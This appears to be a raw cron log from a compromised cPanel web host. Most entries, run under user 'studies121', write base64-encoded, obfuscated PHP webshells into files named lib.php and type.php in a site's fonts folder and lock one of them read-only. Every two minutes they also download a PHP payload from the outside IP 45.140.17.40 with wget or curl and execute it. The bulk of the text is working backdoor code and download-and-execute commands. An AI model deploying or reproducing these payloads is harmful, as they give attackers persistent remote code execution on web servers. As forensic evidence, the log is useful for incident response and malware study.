Feb 22 17:07:01 ip-184-168-122-23 CROND[10113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:07:01 ip-184-168-122-23 CROND[10114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:07:01 ip-184-168-122-23 CROND[10115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:08:01 ip-184-168-122-23 CROND[10447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:08:01 ip-184-168-122-23 CROND[10446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:08:01 ip-184-168-122-23 CROND[10449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:08:01 ip-184-168-122-23 CROND[10450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:08:01 ip-184-168-122-23 CROND[10451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:09:01 ip-184-168-122-23 CROND[10801]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 17:09:01 ip-184-168-122-23 CROND[10802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:09:01 ip-184-168-122-23 CROND[10805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:09:01 ip-184-168-122-23 CROND[10806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:09:01 ip-184-168-122-23 CROND[10807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:10:01 ip-184-168-122-23 CROND[11217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:10:01 ip-184-168-122-23 CROND[11220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:10:01 ip-184-168-122-23 CROND[11222]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 17:10:01 ip-184-168-122-23 CROND[11223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:10:01 ip-184-168-122-23 CROND[11228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:10:01 ip-184-168-122-23 CROND[11230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:10:01 ip-184-168-122-23 CROND[11231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:10:01 ip-184-168-122-23 CROND[11229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:11:01 ip-184-168-122-23 CROND[11626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:11:01 ip-184-168-122-23 CROND[11628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:11:01 ip-184-168-122-23 CROND[11627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:11:01 ip-184-168-122-23 CROND[11631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:12:01 ip-184-168-122-23 CROND[11963]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:12:01 ip-184-168-122-23 CROND[11966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:12:01 ip-184-168-122-23 CROND[11965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:12:01 ip-184-168-122-23 CROND[11967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:12:01 ip-184-168-122-23 CROND[11968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:13:01 ip-184-168-122-23 CROND[12305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:13:01 ip-184-168-122-23 CROND[12307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:13:01 ip-184-168-122-23 CROND[12306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:13:01 ip-184-168-122-23 CROND[12310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:14:01 ip-184-168-122-23 CROND[12622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:14:01 ip-184-168-122-23 CROND[12624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:14:01 ip-184-168-122-23 CROND[12626]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:14:01 ip-184-168-122-23 CROND[12627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:14:01 ip-184-168-122-23 CROND[12625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:15:01 ip-184-168-122-23 CROND[12950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:15:01 ip-184-168-122-23 CROND[12951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:15:01 ip-184-168-122-23 CROND[12952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:15:01 ip-184-168-122-23 CROND[12955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:15:01 ip-184-168-122-23 CROND[12957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:15:01 ip-184-168-122-23 CROND[12959]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:16:01 ip-184-168-122-23 CROND[13362]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 17:16:01 ip-184-168-122-23 CROND[13363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:16:01 ip-184-168-122-23 CROND[13367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:16:02 ip-184-168-122-23 CROND[13369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:16:02 ip-184-168-122-23 CROND[13371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:16:02 ip-184-168-122-23 CROND[13370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:17:01 ip-184-168-122-23 CROND[13712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:17:01 ip-184-168-122-23 CROND[13714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:17:01 ip-184-168-122-23 CROND[13715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:17:01 ip-184-168-122-23 CROND[13716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:18:01 ip-184-168-122-23 CROND[14042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:18:01 ip-184-168-122-23 CROND[14043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:18:01 ip-184-168-122-23 CROND[14045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:18:01 ip-184-168-122-23 CROND[14047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:18:01 ip-184-168-122-23 CROND[14046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:19:01 ip-184-168-122-23 CROND[14373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:19:01 ip-184-168-122-23 CROND[14376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
